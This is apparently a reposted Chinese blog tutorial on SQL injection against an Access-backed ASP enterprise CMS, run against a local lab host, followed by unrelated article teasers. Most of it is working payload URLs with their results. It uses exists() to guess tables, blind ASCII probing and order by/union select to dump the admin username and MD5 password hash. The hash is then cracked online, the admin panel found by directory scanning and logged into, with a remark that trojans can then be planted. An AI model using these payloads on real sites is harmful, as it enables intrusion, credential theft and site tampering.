【网络安全-SQL注入】SQL注入----一篇文章教你access数据库SQL注入以及注入点利用。SQL注入【3】

news2024/12/23 3:45:08

前言:

本篇文章以凡诺企业网站管理系统为例,讲解了access数据库是如何进行SQL注入的,以及注入点如何利用,如何判断查询字段个数,如果用联合查询爆出数据库数据等;

之前有两篇文章详细介绍了MySQL数据库的SQL注入,以及注入点的详细利用,文章链接如下

【sql注入超详细】你知道什么是SQL注入吗?直到如何通过SQL注入来控制目标服务器吗?一篇文章教你sql注入漏洞的原理及方法----sql注入【一】_ANii_Aini的博客-CSDN博客SQL注入漏洞详解。包括原理,分类比如数字型,字符型,搜索型,xx型,宽字节注入,报错注入,盲注,有无回显等,各种注入payload以及产生原因等等https://blog.csdn.net/m0_67844671/article/details/133031125

【sql注入】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。sql注入【二】_ANii_Aini的博客-CSDN博客【sql注入】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程;https://blog.csdn.net/m0_67844671/article/details/133461141

一,Access数据库SQL注入

(靶场以凡诺企业网站管理系统为例)

access数据库SQL注入与MySQL数据库SQL注入差不多,大同小异

1-1 猜数据库表名

http://192.168.31.55:208/news_view.asp?id=14 and exists(select * from users) 

## mysql5.0以前版本都是靠暴力猜解,准备个字典(表名、库名、字段名等)
## exists:access数据查询结果是否有数据,如果有数据,exists得到true,真
## 如果没有数据,直接给你报错了 

## 返回错误信息,说明users表不存在,继续提交。exists是判断某个表是否存在或者表中是否有数据
## 报错了说明没有这个users表 

 页面没有报错说明有这个users表的

 查看是否有news表,我们这是手工根据经验尝试表名,后面有字典爆破工具昂。

http://192.168.31.208/news_view.asp?id=14 and exists(select * from news)

 页面没有报错,说明存在这个表的

查看是否有管理员表,名称一般为admin或者administrator  

http://192.168.31.208/news_view.asp?id=14 and exists(select * from admin)

还是返回错误信息,说明admin表不存在,继续提交。

 

http://192.168.31.208/news_view.asp?id=14 and exists(select * from administrator)

页面没有报错,说明存在administrator这个表的 

1-2 猜测字段名

http://192.168.31.208/news_view.asp?id=14 and exists(select username from administrator)
http://192.168.31.208/news_view.asp?id=14 and exists(select user_name from administrator)
http://192.168.31.208/news_view.asp?id=14 and exists(select password from administrator)

1-3 猜测字段数据的长度

http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1

select top 1 len(user_name) from administrator  
#取出administrator表的前1行记录,并查询这行记录的user_name字段的长度


http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2

http://192.168.31.208/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5

 没报错说明我们猜测是对的,administrator表的第一行记录的user_name字段的长度大于1

1-4 猜字段数据内容

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 ## 返回正常页面

## 说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。

 ## mid是从中间位置取子串函数
## 格式如下:
## mid(字符串,起始位,截取的位数)
## 例如:
## mid(“abcdef”,2,3)
## 结果是bcd
## asc是查看字母在ascii码表中的代表数字,ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,因为ascii码表中没有汉字,返回负数

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 ## 返回错误页面

## 说明字段对应的ASCll值在0和500之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 ##返回错误页面

## 说明字段对应的ASCll值在0和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 ## 返回正常页面

## 说明字段对应的ASCll值在90和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 ## 返回正常页面

## 说明字段对应的ASCll值在96和100之间。继续提交。
http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 ## 返回错误页面

## 说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”,接着第二位查询。

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 ## 返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)

http://192.168.31.208/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 ## 返回错误页面


## 用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:
## 可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3

 1-5 高级查询——order by 与union select

1-5-1 order-by 猜字段数目

order by 1
order by 2
...
order by n-1
order by n
 

如果n-1时返回正常,n时返回错误,那么说明字段数目为n。  

1-5-2 union select爆字段内容

## 得到字段长度后,就可利用union select查询获得字段内容了。
and 1=2 union select 1, 2, 3...., n from 表名
## 执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。
and 1=2 union select1, 字段1, 字段2...., n from 表名
## 在页面中就会返回字段内容,不必一个一个进行猜解了

测试实例  

http://192.168.31.208/news_view.asp?id=14 order by 1 ## 正常
http://192.168.31.208/news_view.asp?id=14 order by 7 ##正常
http://192.168.31.208/news_view.asp?id=14 order by 8 ## 错误

 order by 8的时候报错了而order by 7的时候没报错说明查询的字段数为7个字段

去数据库看一下,果然是7个字段 

 

## 说明字段数目为7 ,因此可提交以下字段。
http://192.168.31.208/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator 
## (通过联合查询从这7个字段里面去查询administrator表里面那些是可写的数字)

 我们发现是第2,3,5,7字段的数据写到了页面上

从页面返回信息中,可看到显示了数字2和3。因此可以将这2个数字替换为我们想要数据的字段名,提交如下查询。 

http://192.168.31.208/news_view.asp?id=14 union select 1,user_name,password,4,5,6,7 from administrator
## 在页面返回信息中,立即获得了user_name和password字段的值,比前面的方法快速高效多了。

拿到了一个登录账号和密码,不过密码是md5加密过得(试一试能不能撞库撞出来) 

 

md5在线破解网址(说破解不对,毕竟哈希算法不可逆,可以撞库就是有人做了数据库存放这明文和哈希值,现在通过哈希值拿到明文) 

md5在线解密破解,md5解密加密icon-default.png?t=N7T8https://www.cmd5.com/

拿到了密码明文为admin 

有了后台用户名和密码,那么我们再找到后台登录网址就可以了

使用7kb或者御剑等攻击来扫描目录(需要工具可以私信

发现好几个admin开头的目录,经过测试 192.168.31.208/admin刚好是后台页面

 

账号密码  admin/admin   刚才通过注入拿出来的 

 就这样登录到人家后台网页了

 登录就可以修改里面的数据,或者插入一些木马在里面了

如果需要网络安全工具可以留言

如果有不懂的地方留言一起技术交流

希望各路神仙大神们的指点指正

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1054730.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt Creator 预览界面 快捷键

一般来说,我们运行Qt程序所花费的时间是比较长的,那有时我们只改变了界面,那么此时花费如此长的时间去运行程序来观察界面改动的效果是非常浪费时间的行为。 此时我们可以选择预览界面来观察界面改动后的效果:

九、GC收集日志

JVM由浅入深系列一、关于Java性能的误解二、Java性能概述三、了解JVM概述四、探索JVM架构五、垃圾收集基础六、HotSpot中的垃圾收集七、垃圾收集中级八、垃圾收集高级👋GC收集日志 ⚽️1. 认识GC收集日志 垃圾收集日志是一个重要的信息来源,对于与性能相关的一些悬而未决的…

基本的五大排序算法

目录: 一,直接插入算法 二,希尔排序算法 三,选择排序 四,堆排序 五,冒泡排序算法 简介: 排序算法目前是我们最常用的算法之一,据研究表明,目前排序占用计算机CPU的时…

1003 我要通过!

一.问题: “答案正确”是自动判题系统给出的最令人欢喜的回复。本题属于 PAT 的“答案正确”大派送 —— 只要读入的字符串满足下列条件,系统就输出“答案正确”,否则输出“答案错误”。得到“答案正确”的条件是: 字符串中必须仅…

数组和切⽚ - Go语言从入门到实战

数组和切⽚ - Go语言从入门到实战 数组的声明 package main import "fmt" func main() { var a [3]int //声明并初始化为默认零值 a[0] 1 fmt.Println("a:", a) // 输出: a: [1 0 0] b : [3]int{1, 2, 3} //声明同时初始化 fmt.Println("b:…

番外6:下载+安装+配置Linux

#########配置Linux---后续 step08: 点击编辑虚拟机设置,选择下载好的映像文件.iso进行挂载; step09: 点击编辑虚拟机选项,选择UEFI启动模式并点击确定; step10: 点击开启虚拟机,选择Install rhel ; 备注&…

架构的未来:微前端与微服务的融合

文章目录 微服务架构简介微前端架构简介微前端与微服务的融合1. 共享服务2. 基于事件的通信3. 统一的身份和认证4. 交付管道的集成 示例:使用微服务和微前端的电子商务平台微服务架构微前端架构融合微服务和微前端 结论 🎉欢迎来到架构设计专栏~架构的未…

【Linux系统编程】僵尸进程与孤儿进程

文章目录 1. 僵尸进程2. 僵尸进程的危害3. 孤儿进程 1. 僵尸进程 上一篇文章进程的状态中最后我们提出了僵尸状态: 为了方便子进程退出后父进程或操作系统获取该进程的退出结果,Linux进程退出时,进程一般不会立即死亡,而是要维持…

【Spring底层原理】BeanFactory的实现

🐌个人主页: 🐌 叶落闲庭 💨我的专栏:💨 c语言 数据结构 javaEE 操作系统 Redis 石可破也,而不可夺坚;丹可磨也,而不可夺赤。 容器实现 一、BeanFactory实现的特点1.1 Be…

2023年中国半导体IP行业发展概况及趋势分析:半导体IP的市场空间广阔[图]

半导体指IP指芯片设计中预先没计、验证好的功能模块,处于半导体产业链最上游,为芯片设计厂商提供设计模块。半导体IP按交付方式可分为软核、硬核和固核;按产品类型可分为处理器IP、接口IP、其他物理IP及其他数字IP。 半导体IP分类 资料来源&…

K-Means(上):数据分析 | 数据挖掘 | 十大算法之一

⭐️⭐️⭐️⭐️⭐️欢迎来到我的博客⭐️⭐️⭐️⭐️⭐️ 🐴作者:秋无之地 🐴简介:CSDN爬虫、后端、大数据领域创作者。目前从事python爬虫、后端和大数据等相关工作,主要擅长领域有:爬虫、后端、大数据…

ubuntu 18.04 LTS安装opencv 3.4.16 + opencv_contrib 3.4.16

1.下载 opencv 3.4.16 opencv_contrib 3.4.16 其中,opencv_contrib解压后的多个文件夹复制到opencv内、合并 2.安装 参考博文: https://zhuanlan.zhihu.com/p/650792342 https://zhuanlan.zhihu.com/p/87197806 其中 (1)cmake前…

【设计模式】五、原型模式

文章目录 概述示例传统的方式的优缺点原型模式原理结构图-uml 类图 原型模式解决克隆羊问题的应用实例Sheep类实现clone()运行原型模式在 Spring 框架中源码分析 深入讨论-浅拷贝和深拷贝浅拷贝的介绍 小结 概述 示例 克隆羊问题 现在有一只羊 tom,姓名为: tom, 年…

nginx隐藏版本号和标识

1.隐藏版本号:nginx-服务器banner泄漏风险_banner信息泄露_javachen__的博客-CSDN博客 2.隐藏nginx标识 cd /usr/local/nginx-1.24.0/src/corevi nginx.h在第14行 cd /usr/local/nginx-1.24.0/src/httpvi ngx_http_special_response.c在第22,29,36行 cd /usr/local/nginx-1.2…

踩坑日记 uniapp 底部 tabber遮挡住购物车结算

tabbar 被购物车结算遮挡 在小程序上tabbar没有将固定栏遮挡,如果直接调高,浏览器H5页面是对了,但在小程序上面离底部的定位就太高了 原代码 // 底部结算样式.shop-foot {border-top: 2rpx solid #F7F7F7;background-color: #FFF;position: …

法国心理健康平台【Teale】完成1000万欧元A轮融资

来源:猛兽财经 作者:猛兽财经 猛兽财经获悉,位于法国巴黎的心理健康平台【Teale】今日宣布已完成1000万欧元的A轮融资。 本轮融资由Alter Equity和Bpifrance的Digital Venture基金领投,目前的支持者ISAI和Evolem也参与其中。 该公…

ChatGPT的截图识别功能测评:开启图像中的文字与信息的新纪元

文章目录 根据截图,识别菜品根据截图,识别数学公式根据截图生成前端UI代码可视化图像复现案例一案例二 更多可以使用的方向 制作人:川川 辛苦测评,如果对你有帮助支持一下书籍:https://item.jd.com/14049708.html 根据…

spring boot整合常用redis客户端(Jedis、Lettuce、RedisTemplate、Redisson)常见场景解决方案

Java操作redis有三种客户端供选择:Jedis、Lettuce、Redisson。 在实际项目中运用最多的客户端还是Redisson、RedisTemplate;其中RedisTemplate并非是一个新的redis客户端实现,RedisTemplate是Spring Data Redis中提供的封装好的redis操作模板…

闪击笔试题

选择题 ping命令不涉及什么协议? A:DNS B: TCP C: ARP D: ICMP B,ping基于ICMP协议,解析路由会用到ARP和DNS a、b、c三人参加学科竞赛,每个学科按一二三名次给x、y、z分,已知a得22分,b和c得9分&#xf…

进程控制以及相关原语的使用(创建,终止,阻塞,唤醒,切换)

1.基本概念 1.进程控制 进程控制的主要功能是对系统中的所有进程实施有效的管理,它具有创建新进程、撤销已有进程、实现进程状态转换等功能。 进程控制就是要实现进程状态转换。 2.实现进程控制(原语) 1.原语 原语是一种特殊的程序,它的执行具有原子性。也就是…